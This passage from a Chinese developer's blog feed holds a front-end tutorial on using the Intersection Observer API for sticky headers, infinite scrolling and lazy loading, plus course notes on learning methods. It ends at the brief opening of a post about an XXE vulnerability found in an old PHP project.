<title>用Intersection Observer替代监听scroll事件</title>
<link href="http://sevencai.github.io/2020/10/04/%E7%94%A8Intersection-Observer%E6%9B%BF%E4%BB%A3%E7%9B%91%E5%90%ACscroll%E4%BA%8B%E4%BB%B6/"/>
<id>http://sevencai.github.io/2020/10/04/用Intersection-Observer替代监听scroll事件/</id>
<published>2020-10-04T03:16:09.000Z</published>
<updated>2020-10-04T15:07:03.000Z</updated>
<content type="html"><![CDATA[<h2 id="Intersection-Observer的优点"><a href="#Intersection-Observer的优点" class="headerlink" title="Intersection Observer的优点"></a>Intersection Observer的优点</h2><p>之前我们监听一个元素是否进入可视区域,一般都是这么做:<br>1、监听 <code>onscroll</code> 事件<br>2、获得要监听元素的 <code>getBoundingClientRect</code>,获得坐标<br>3、判断是否在窗口内</p>
<p>上面方法2的替代方法还可能是,获得 <code>scrollTop</code>, <code>offsetHeight</code>, <code>clientHeight</code>这些值来以一定的方法计算判断是否在可视区域内。</p>
<p>过程中一般会利用 <code>throttle</code> 节流函数来避免 <code>scroll</code>回调的频繁执行。但是这些仍然避免不了<code>scroll</code>事件监听和调用 <code>Element.getBoundingClientRect()</code> 计算高度都是在主线程上运行,因此频繁触发、调用可能会造成性能问题。<a href="https://gist.github.com/paulirish/5d52fb081b3570c81e3a" target="_blank" rel="noopener">getBoundingClientRect</a>还会触发浏览器的重绘或者重排,强制浏览器重新计算整个浏览器的布局。</p>
<p><code>Intersection Observer Api</code> 提供了一种<strong>异步检测</strong>目标元素与祖先元素或 viewport 相交情况变化的方法。自从了解了这个接口后发现好像没有什么 <code>onscroll</code> 能解决的问题他解决不了,并且使用了他之后,还会觉得代码更好理解,因此把项目中很多地方的代码都换成这个<code>Api</code>,举例为:</p>
<p>1、吸顶实现<br>2、内容无限加载<br>3、图片懒加载<br>4、检测瀑布流图片曝光并上报<br>5、某个元素出现时出现动画或执行某项事情(如左侧列表字母锚点导航)</p>
<p>除了上述优点,<code>Intersection Observer</code> 还能监听元素交叉比例,比如瀑布流的图片漏出可视窗口的比例为0.3时,才被认为是真实曝光,才上报。使用传统的计算方法会比较繁琐,但是 <code>Intersection Observer</code> 定义好了相关参数,都可以比较方便的实现这些功能。</p>
<p>下面将具体介绍它以及具体场景。</p>
<hr>
<h2 id="兼容性"><a href="#兼容性" class="headerlink" title="兼容性"></a>兼容性</h2><p><code>Intersection Observer Api</code>的兼容性一般在<code>94%</code>左右,手机端的兼容性一般会稍微好点。但是有w3c的<a href="https://github.com/w3c/IntersectionObserver/tree/master/polyfill" target="_blank" rel="noopener">polyfill</a>,所以不需要太担心。<br><img src="caniuse.png" alt="caniuse"></p>
<p>在引用其他模块之前优先引用这个模块即可,代码示例如下:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">npm install intersection-observer</span><br><span class="line"></span><br><span class="line">require(<span class="string">'intersection-observer'</span>)</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="Intersection-Observer-定义"><a href="#Intersection-Observer-定义" class="headerlink" title="Intersection Observer 定义"></a>Intersection Observer 定义</h2><blockquote>
<p>Intersection Observer API 允许你配置一个回调函数,每当目标(target)元素与设备视窗或者其他指定元素<strong>发生交集</strong>的时候执行。</p>
</blockquote>
<p>用过它之后还没发现不能代替 <code>onscroll</code> 的场景,非常好用。</p>
<p>几个其他概念:<br>1、根元素(root):设备视窗或者其他元素我们称它为根元素或根(root)。通常,您需要关注文档最接近的可滚动祖先元素的交集更改,如果元素不是可滚动元素的后代,则默认为设备视窗。如果要观察相对于根(root)元素的交集,请指定根(root)元素为null。</p>
<p>2、交叉比(intersection ratio):目标(target)元素与根(root)元素之间的交叉度是交叉比。</p>
<p>示例如下:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 目标节点在可视范围内时,去加载数据</span></span><br><span class="line"><span class="keyword">let</span> observer = <span class="keyword">new</span> IntersectionObserver(<span class="function"><span class="params">entries</span> =></span> {</span><br><span class="line"> <span class="keyword">let</span> isIntersecting = _.some(entries, entry => {</span><br><span class="line"> <span class="keyword">return</span> entry.isIntersecting === <span class="literal">true</span></span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (isIntersecting) {</span><br><span class="line"> <span class="keyword">this</span>.loadData()</span><br><span class="line"> }</span><br><span class="line">}, {</span><br><span class="line"> root: <span class="built_in">document</span>.querySelector(<span class="string">'#scrollArea'</span>), </span><br><span class="line"> rootMargin: <span class="string">'0px'</span>, </span><br><span class="line"> threshold: <span class="number">0.1</span></span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> target = <span class="built_in">document</span>.querySelector(<span class="string">'#target'</span>) </span><br><span class="line">observer.observe(target)</span><br></pre></td></tr></table></figure></p>
<p>每个被监听到的<code>entry</code>还有以下一些属性:</p>
<ol>
<li><code>entry.boundingClientRect</code> 目标元素的区域信息</li>
<li><code>entry.intersectionRatio</code> 目标元素的可见比率</li>
<li><code>entry.intersectionRect</code> 目标元素与根元素交叉的区域信息</li>
<li><code>entry.isIntersecting</code> 是否进入可视区域</li>
<li><code>entry.rootBounds</code> 根元素的矩形区域信息</li>
<li><code>entry.target</code> 被观察的目标,是一个DOM节点</li>
<li><code>entry.time</code> 可见性发生变化的时间,相交发生时距离页面打开时的毫秒数.精度为微秒</li>
</ol>
<hr>
<h2 id="实际应用1-吸顶"><a href="#实际应用1-吸顶" class="headerlink" title="实际应用1-吸顶"></a>实际应用1-吸顶</h2><p>场景:页面下部有个导航,<strong>需要当它滚动到到最上面时,才设置吸顶</strong>。</p>
<p>一般前端吸顶会用 <code>position: sticky</code> 实现,但是兼容性不太好,所以一般会让重构同学再写一个 <code>position: fixed</code> 的样式。</p>
<p><code>position: sticky</code>比较丝滑,并且在大多数的浏览器上都支持,因此还是不能直接舍弃使用。所以通常的办法是:</p>
<p>判断浏览器是否支持 <code>position: sticky</code> 属性,支持时直接使用此样式,不支持时判断浏览器是否滚动到了顶部位置,若到了顶部位置,则直接使用<code>position: fixed</code>样式。</p>
<p>判断浏览器是否支持 <code>sticky</code>:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 判断浏览器是否支持 sticky</span></span><br><span class="line"><span class="comment"> * @returns {boolean}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">isPositionStickySupported</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">let</span> vendorList = [<span class="string">""</span>, <span class="string">"-webkit-"</span>, <span class="string">"-ms-"</span>, <span class="string">"-moz-"</span>, <span class="string">"-o-"</span>],</span><br><span class="line"> vendorListLength = vendorList.length,</span><br><span class="line"> stickyElement = <span class="built_in">document</span>.createElement(<span class="string">"div"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i < vendorListLength; i++) {</span><br><span class="line"> stickyElement.style.position = vendorList[i] + <span class="string">"sticky"</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (stickyElement.style.position !== <span class="string">""</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>不支持 <code>sticky</code> 的情况下设置标识表明已经可以吸顶了(设置<code>fixed</code>样式):<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">// 观察导航</span></span><br><span class="line"><span class="keyword">const</span> tabObserver = <span class="keyword">new</span> IntersectionObserver(</span><br><span class="line"> records => {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">const</span> record <span class="keyword">of</span> records) {</span><br><span class="line"> <span class="keyword">const</span> targetInfo = record.boundingClientRect</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.stickyMenu = targetInfo.top <= <span class="number">0</span></span><br><span class="line"> }</span><br><span class="line"> },</span><br><span class="line"> { <span class="attr">threshold</span>: [<span class="number">0</span>] }</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> tab = <span class="built_in">document</span>.getElementById(<span class="string">"tab"</span>)</span><br><span class="line">tabObserver.observe(tab)</span><br><span class="line"></span><br><span class="line"><span class="comment">//stickyMenu ? 'class-fix' : ''</span></span><br></pre></td></tr></table></figure></p>
<p>但是在实际尝试过程中发现,在绝大部分机器上都没问题,但是在一些很老旧的机器上,也正是因为<code>Intersection Observer</code>是异步的,他的执行时间是浏览器控制的不固定的。导致了有可能向上滑的很快时,吸顶还没有消失。用同样的<code>onscroll</code>试了下,也会有这个问题,但是没这么严重。</p>
<p>后面尝试了很多办法,最后选择了多设置几个 <code>observer</code>来减少<strong>监听不到,有时候回调没执行</strong>的问题。选取页面上其他和吸顶相关的节点,比如某些元素现时,一定吸顶是要消失的,给他们也设置 observer 即可。在过程中也看到了一些其他的人也遇到了<a href="https://stackoverflow.com/questions/57253460/sticky-header-implementation-with-intersectionobserver" target="_blank" rel="noopener">这个问题</a>,但是没有看到很好的解决方案。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">onMounted(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> <span class="keyword">let</span> extraElements = []</span><br><span class="line"> </span><br><span class="line"> extraElements.push(<span class="built_in">document</span>.getElementById(<span class="string">"ele1"</span>))</span><br><span class="line"> extraElements.push(<span class="built_in">document</span>.getElementById(<span class="string">"ele2"</span>))</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> extralObserver = <span class="keyword">new</span> IntersectionObserver(</span><br><span class="line"> entries => {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">const</span> entry <span class="keyword">of</span> entries) {</span><br><span class="line"> <span class="keyword">if</span> (entry.isIntersecting) {</span><br><span class="line"> <span class="comment">// 设置吸顶消失</span></span><br><span class="line"> <span class="keyword">this</span>.stickyMenu = <span class="literal">false</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> },</span><br><span class="line"> { <span class="attr">threshold</span>: [<span class="number">0</span>] }</span><br><span class="line"> )</span><br><span class="line"> </span><br><span class="line"> extraElements.forEach(<span class="function"><span class="params">ele</span> =></span> {</span><br><span class="line"> extralObserver.observe(ele)</span><br><span class="line"> })</span><br><span class="line">})</span><br></pre></td></tr></table></figure>
<p>后面我去查了下,发现<code>IntersectionObserver</code>是采用<code>requestIdleCallback()</code>,即只有线程空闲下来,才会执行观察器。这个优先级算是很低了。它指定只有当一帧的末尾有空闲时间,才会执行回调函数。只有当当前帧运行时间小于16.66ms时,函数才会执行。否则就会推迟到下一帧,如果下一帧还是没有空闲就继续推迟到下一帧, 浏览器还规定了最大的延迟时间是100ms, 也就是在1ms-100ms之间回调一定会执行。</p>
<p>他比<code>window.requestAnimationFrame()</code>的优先级还要低,<code>requestAnimationFrame</code>指定它下次重绘之前调用指定的回调函数更新动画。也就是下一帧会执行。</p>
<p>如果真的很想知道某个时刻观察者到底有没有相交,可以使用 <code>takeRecords</code> 方法,他是同步的。他和异步的回调是冲突的,两者会互相排斥。如果回调先执行,则 <code>takeRecords</code>就是空的。如果先拿到 <code>takeRecords</code>的值,异步方法就不会先执行。</p>
<hr>
<h2 id="实际应用2-无限加载"><a href="#实际应用2-无限加载" class="headerlink" title="实际应用2-无限加载"></a>实际应用2-无限加载</h2><p>无限加载的本质就是判断快到了底部时,去加载下一屏的数据,类似于分页。以前的做法通常是:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> documentEle = <span class="built_in">document</span>.documentElement</span><br><span class="line"><span class="keyword">const</span> wHeight = documentEle.clientHeight</span><br><span class="line"><span class="built_in">window</span>.addEventListener(<span class="string">'scroll'</span>, () => {</span><br><span class="line"> <span class="keyword">const</span> scrollTop = documentEle.scrollTop || <span class="built_in">document</span>.body.scrollTop</span><br><span class="line"> <span class="keyword">const</span> dHeight = documentEle.offsetHeight</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (dHeight - scrollTop - wHeight <= <span class="number">15</span>) {</span><br><span class="line"> <span class="keyword">this</span>.loadNextPage()</span><br><span class="line"> }</span><br><span class="line">})</span><br></pre></td></tr></table></figure></p>
<p>现在有了<code>Intersection Observer</code>后,就容易多了:<br><strong>可以在页面尾部放一个空的横线, 当这个横线出现在可视区域时</strong>,就去加载下一屏数据。<br>类似于:<br><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">style</span>=<span class="string">"visibility: hidden; height: 1px; position: relative; top: -400px"</span> <span class="attr">id</span>=<span class="string">"archer"</span>></span><span class="tag"></<span class="name">div</span>></span></span><br></pre></td></tr></table></figure></p>
<p>如果想要做到更好的体验,提前加载,<strong>就可以把这个横线稍微定位一下,放到尾部的往上的一些位置,可以做到提前加载</strong>。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> observer = <span class="keyword">new</span> IntersectionObserver(<span class="function"><span class="params">entries</span> =></span> {</span><br><span class="line"> entries.forEach(<span class="function"><span class="params">entry</span> =></span> {</span><br><span class="line"> <span class="comment">// 出现在可视区域内时加载下一屏</span></span><br><span class="line"> <span class="keyword">if</span> (entry.isIntersecting) {</span><br><span class="line"> <span class="keyword">this</span>.loadNextPage()</span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line">}, {</span><br><span class="line"> threshold: [<span class="number">0.5</span>]</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> target = <span class="built_in">document</span>.getElementById(<span class="string">"archer"</span>)</span><br><span class="line">observer.observe(target)</span><br></pre></td></tr></table></figure>
<p>这里有个小坑,就是这个横线必须有高度,否则在某些手机(版本比较老的浏览器)上,就会监听不到❌。</p>
<hr>
<h2 id="惰性加载(懒加载)"><a href="#惰性加载(懒加载)" class="headerlink" title="惰性加载(懒加载)"></a>惰性加载(懒加载)</h2><p>懒加载和惰性加载的思路也是一样的,差不多就是等到元素滚动到了一定地步的时候,再把真实的图片替换上去或者把真实的dom添加上去。</p>
<p>比如图片懒加载,可以先把所有的图片 <code>src</code> 赋值给一个 <code>default.png</code>,等到了可视区域时,在把真实的图片的 <code>src</code> 赋值给图片本身。自己写跟上面的思路一样。没有太大的改变。</p>
<p>但是在过程中,我刚好发现了之前用的一个图片懒加载的一个<code>vuelazyload</code> 的 <code>npm</code> 库,竟然也支持 <code>observer</code> 选项。如下所示</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">require</span>(<span class="string">"intersection-observer"</span>)</span><br><span class="line"><span class="keyword">import</span> VueLazyload <span class="keyword">from</span> <span class="string">"vue-lazyload"</span></span><br><span class="line"></span><br><span class="line">Vue.use(VueLazyload, {</span><br><span class="line"> preLoad: <span class="number">1.3</span>,</span><br><span class="line"> attempt: <span class="number">2</span>,</span><br><span class="line"> observer: <span class="literal">true</span>,</span><br><span class="line"> listenEvents: [<span class="string">"scroll"</span>]</span><br><span class="line">})</span><br></pre></td></tr></table></figure>
<p>设置了 <code>observer: true</code>后,也就自然使用了<code>IntersectionObserver</code>了。 </p>
<hr>
<h2 id="其他方法和属性"><a href="#其他方法和属性" class="headerlink" title="其他方法和属性"></a>其他方法和属性</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">// 实例属性</span><br><span class="line">observer.root</span><br><span class="line">observer.rootMargin</span><br><span class="line">observer.thresholds</span><br><span class="line"></span><br><span class="line">// 实例方法</span><br><span class="line">observer.observe()</span><br><span class="line">observer.unobserve()</span><br><span class="line">observer.disconnect()</span><br><span class="line">observer.takeRecords()</span><br></pre></td></tr></table></figure>
<p>unobserve的一个可能用到的场景是,比如要上报用户看到了哪些广告或者看到了瀑布流中哪些元素,当你上报了后,产品实际需求可能是在本页面内不需要多次上报,因此可以在第一次监听到用户浏览并且上报后,unobserve这个元素。这样可以减少后续监听的对象。</p>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>单单从手感上来说,对于一般的性能手机来看体验并没有太大的差别,放到比较老旧的手机上,会发现<code>intersection observer</code>的更流畅点。</p>
<p>后面通过<code>performance</code>性能面板也能明显看到<code>Painting</code>和<code>Rendering</code>的时间减少,并且也不会频繁有诸如下面这类warning提示了:</p>
<p><img src="performance1.png" alt="scroll time"></p>
<p>由于也不会一直去使用计算属性(如:getBoundingClientRect),所以也不会出现类似下面的性能报错:<br><img src="performance2.png" alt="forced flow"></p>
<p>除去性能外,也不用再去写监听事件、不用再去计算各种高度,API简洁清晰好用,这个可能是后续遇到任何需要<code>onscroll</code>实现的功能,会考虑优先<code>Intersection Observer</code>的原因之一。</p>
]]></content>
<summary type="html">
<h2 id="Intersection-Observer的优点"><a href="#Intersection-Observer的优点" class="headerlink" title="Intersection Observer的优点"></a>Intersection O
</summary>
<category term="Javascript" scheme="http://sevencai.github.io/tags/Javascript/"/>
</entry>
<entry>
<title>《学习力》笔记总结</title>
<link href="http://sevencai.github.io/2020/08/07/%E5%87%A0%E9%97%A8%E4%B8%8A%E8%AF%BE%E7%AC%94%E8%AE%B0/"/>
<id>http://sevencai.github.io/2020/08/07/几门上课笔记/</id>
<published>2020-08-07T08:16:32.000Z</published>
<updated>2020-08-07T12:26:34.000Z</updated>
<content type="html"><![CDATA[<p>最近去上了门课程,关于学习力,具体讲如何在知识变化、碎片化、专注度、动力、知识系统性等方面高效学习的问题。课程做了些笔记,记录如下(好记性不如烂笔头)。</p>
<hr>
<h2 id="学习力"><a href="#学习力" class="headerlink" title="学习力"></a>学习力</h2><p>学习力不是知识,而是”认知的手段”。包括:<br>1、理解力<br>2、消化吸收能力<br>3、认识系统化能力<br>4、掌握<strong>具体和抽象</strong>关系的能力<br>5、<strong>整体和局部</strong>把握关系的能力<br>6、<strong>行动和知识</strong>结合起来的能力</p>
<hr>
<h2 id="学习与脑科学"><a href="#学习与脑科学" class="headerlink" title="学习与脑科学"></a>学习与脑科学</h2><p>从下面的图中可以了解到,如果经常学习,分叉会越多,连接会越多。<br><img src="danao.png" alt="学习"></p>
<h2 id="大脑的特点"><a href="#大脑的特点" class="headerlink" title="大脑的特点"></a>大脑的特点</h2><p>大脑喜欢哪些事情呢?<br>1、<strong>可视化</strong><br>2、大局<br>3、<strong>交叉</strong><br>4、睡眠<br>5、教人</p>
<p>大脑喜欢吃啥?<br>1、巧克力<br>2、牛油果<br>3、橄榄油<br>4、蓝莓<br>5、青菜<br>6、坚果</p>
<hr>
<h2 id="知识转化"><a href="#知识转化" class="headerlink" title="知识转化"></a>知识转化</h2><p><strong>要学以致用,就必须要记忆</strong>。</p>
<p>1、笔记可以写发现与总结,促转化<br>2、做好笔记的分类管理,可追溯能找到<br>3、写清晰二次回看3秒看懂,可重现</p>
<hr>
<h2 id="动机的DVF-贝克哈德公式"><a href="#动机的DVF-贝克哈德公式" class="headerlink" title="动机的DVF-贝克哈德公式"></a>动机的DVF-贝克哈德公式</h2><p>简写:<code>D * V * FS > R</code><br>即:<code>Dissatisfaction * Vision * First Step > Resistance to Change</code><br>即:对现状的不满 <em> 对未来的愿景 </em> 第一步实践 > 变革阻力</p>
<p>1、D: Dissatisfaction, 对现状的不满<br>2、V: Vision, 对未来的愿景<br>3、FS: First Step, 第一步实践<br>4、R: Resistance to Change, 变革阻力</p>
<blockquote>
<p>变革公式说明了发生在个人思想、家庭、组织、国家等方面的真正转变,需要包括的三个必要因素,即D、V、FS。为了改变的持续性,上述三者的乘积必须大于 RC,即当前对变革的抗拒力量。非常重要的是,“对现状的不满”、“对未来的愿景”及“第一步实践”三者之间是相乘的关系,也就是说假如其中任何一项不存在,为零,真正的转变就不会发生。</p>
</blockquote>
<p>是乘积的关系,只要其中任何一个为0,另外两个再大也没有用。</p>
<hr>
<h2 id="怎么用变革公式促个人转变"><a href="#怎么用变革公式促个人转变" class="headerlink" title="怎么用变革公式促个人转变"></a>怎么用变革公式促个人转变</h2><h3 id="通过镜子-标杆发现不满-Dissatisfaction"><a href="#通过镜子-标杆发现不满-Dissatisfaction" class="headerlink" title="通过镜子/标杆发现不满-Dissatisfaction"></a>通过镜子/标杆发现不满-<code>Dissatisfaction</code></h3><p>借助外力来形成更加客观、 准确的自我评价,找到Gap。</p>
<p>1、向外看,优秀同事,参加展会,与牛人交流等<br>2、向内看,盘点自己有哪些优势劣势<br>3、向前看,看看过去几年的自己和现在的自己的变化<br>4、向远看,一年,两年,五年后的自己是怎样的</p>
<p>感觉老师的这个没有办法很好的衡量自己最大的不足点,只是大致的一个可执行的方向。这里我还去查了些资料,也可以用平衡轮方法,把自己生命中最重要的的组成部分画个平衡轮,然后打分。进而发现自己的不满。<br><img src="pinghenglun.png" alt="pinghenglun"></p>
<hr>
<h3 id="通过想象激发你的期待-Vision"><a href="#通过想象激发你的期待-Vision" class="headerlink" title="通过想象激发你的期待-Vision"></a>通过想象激发你的期待-Vision</h3><p>◼ 想象未来的收益<br>◼ 想象可能出现的美好世界<br>➢ 建立实现成功的时间表<br>➢ 想象自己正处在这样的时光中<br>➢ 描述未来可能获得的成功看起来和感觉起来怎样<br>➢ 提取关键事证(学习成功后,会如何体验这些益处)</p>
<p>哈哈哈啊哈,我自己就经常幻想在可能出现的美好世界中。</p>
<hr>
<h3 id="执行第一步(重点)"><a href="#执行第一步(重点)" class="headerlink" title="执行第一步(重点)"></a>执行第一步(重点)</h3><p>1、分解目标<br>2、即可开始<br>3、隔绝干扰</p>
<p>具体可以做的可能是:<strong>专注简短而重要的工作</strong>,比如番茄工作法,每次25分钟,我觉得还需要建立优先级。建立习惯清单,养成新的信号反应机制,比如固定读书时间, 每天读10页书,每周做一次总结,项目结束后复盘等。 加入学习团体,打卡,重塑习惯。</p>
<p>千万不要想着:吃完这顿,明天再开始减肥吧。☹️<br>千万不要想着:吃完这个冰淇淋,我就回房间看书了。🐷</p>
<p>哈哈哈,这个深有体会。</p>
<hr>
<h2 id="高效的学习"><a href="#高效的学习" class="headerlink" title="高效的学习"></a>高效的学习</h2><p>1、有效的输入<br>2、高效的输出</p>
<hr>
<h2 id="找到有效的学习内容"><a href="#找到有效的学习内容" class="headerlink" title="找到有效的学习内容"></a>找到有效的学习内容</h2><ol>
<li>选择接近知识源头的内容; </li>
<li>选择被验证有效的学习内容; </li>
<li>选择高于自己认知,甚至远高于自己认知的内容学习; </li>
<li>按图索骥,深挖出高质量的学习内容; </li>
<li>打通高质量信息的传播链。</li>
</ol>
<p>这里我总结理解为要先选对方向和学习内容。就像以前高中那样,先做难题没用,好好把教材要讲的内容搞清楚才好。走正确的路,才能少走弯路。</p>
<hr>
<h2 id="检测学习"><a href="#检测学习" class="headerlink" title="检测学习"></a>检测学习</h2><p>1、清晰的定义学习目标<br>2、拆解你的学习目标与计划<br>3、定期Review你的学习<br>4、利用机会检验你的学习</p>
<hr>
<h2 id="从全局到细节的学(重要)"><a href="#从全局到细节的学(重要)" class="headerlink" title="从全局到细节的学(重要)"></a>从全局到细节的学(重要)</h2><p>如何系统的读书<br>1、先看目录,尝试用自己的语言提炼成主线<br>2、提出问题<br>3、针对性的选择能回到自己问题的内容选读,抓重点<br>4、读完再尝试回答“这是一本解决什么使命的书”</p>
<p>如何系统的参加培训<br>1、培训前拿到课程大纲,有全局性认知<br>2、结合大纲内容提出自己可能的疑问<br>3、培训中在全局中理解内容<br>4、关注疑问点是否得到解释</p>
<p>由面到点的学习。由粗糙到细节的学习。也没有必要关注全部细节,抓重点。</p>
<hr>
<h2 id="如何系统的学"><a href="#如何系统的学" class="headerlink" title="如何系统的学"></a>如何系统的学</h2><p>1、构建全景学习图(知识框架)<br>2、构建个人知识体系<br>3、化碎片化为系统</p>
<p>简单的来说就是知识需要系统,需要形成自己的图放在脑袋里,遇到问题,就知道哦是这个地方。</p>
<hr>
<h2 id="如何做高效的输出"><a href="#如何做高效的输出" class="headerlink" title="如何做高效的输出"></a>如何做高效的输出</h2><p>1、分享给身边的人 -与人交流学习心得 (说)<br>2、-沉淀 - 转发 - 封装 (写)<br>3、指导他人 - 培训授课 (教)<br>4、- 刻意练习 -RIA学习法 (用)</p>
<hr>
<h2 id="通过RIA应用所学"><a href="#通过RIA应用所学" class="headerlink" title="通过RIA应用所学"></a>通过RIA应用所学</h2><p>R:读取新的知识或信息 </p>
<p>I:将学到的知识或信息通过<strong>自己的方式解读出来</strong></p>
<p>A1:<strong>描述自己与之相关的经验(通常为过去经历) </strong></p>
<p>A2:我的应用(未来的目标与行动)</p>
<hr>
<h2 id="学习力的本质"><a href="#学习力的本质" class="headerlink" title="学习力的本质"></a>学习力的本质</h2><p>1、追问本质,找到边界 真正知道自己是否知道<br>2、举一反三,跨界应用 能灵活应用所学知识</p>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这堂课还是收获了些东西的。还有一节《行动学习》的课程本来也想今天一起回忆下,但写着写着发现这篇太长了。现在是星期五的晚上,期待能过个充实的周末。加油⛽️。</p>
<p>这个上课的老师胖胖的,萌萌哒。笑起来的声音非常魔性,感觉不跟他一起笑都对不起他的那种哈哈哈哈。</p>
]]></content>
<summary type="html">
<p>最近去上了门课程,关于学习力,具体讲如何在知识变化、碎片化、专注度、动力、知识系统性等方面高效学习的问题。课程做了些笔记,记录如下(好记性不如烂笔头)。</p>
<hr>
<h2 id="学习力"><a href="#学习力" class="headerlink" titl
</summary>
</entry>
<entry>
<title>5月6月笔记</title>
<link href="http://sevencai.github.io/2020/07/03/5%E6%9C%886%E6%9C%88%E7%AC%94%E8%AE%B0/"/>
<id>http://sevencai.github.io/2020/07/03/5月6月笔记/</id>
<published>2020-07-03T02:46:44.000Z</published>
<updated>2020-08-17T02:22:24.000Z</updated>
<content type="html"><![CDATA[<p>空</p>
]]></content>
<summary type="html">
<p>空</p>
</summary>
</entry>
<entry>
<title>记一次XXE漏洞</title>
<link href="http://sevencai.github.io/2020/06/20/%E8%AE%B0%E4%B8%80%E6%AC%A1XXE%E6%BC%8F%E6%B4%9E/"/>
<id>http://sevencai.github.io/2020/06/20/记一次XXE漏洞/</id>
<published>2020-06-20T11:11:54.000Z</published>
<updated>2020-06-30T15:05:45.000Z</updated>
<content type="html"><![CDATA[<p>最近很忙,没有停下来脚步思考一些事情,没有整理遇到过的问题,没有停下来脚步听听内心的声音。</p>
<hr>
<h2 id="XXE-漏洞"><a href="#XXE-漏洞" class="headerlink" title="XXE 漏洞"></a>XXE 漏洞</h2><blockquote>
<p>某天安平的同事扫出来了我们以前很老旧的某个PHP项目有XXE漏洞,对于XXE之前没有碰到过这种漏洞,通过漏洞单的大概描述,了解了大概是跟XML以及DTD有关系。</p>
</blockquote>
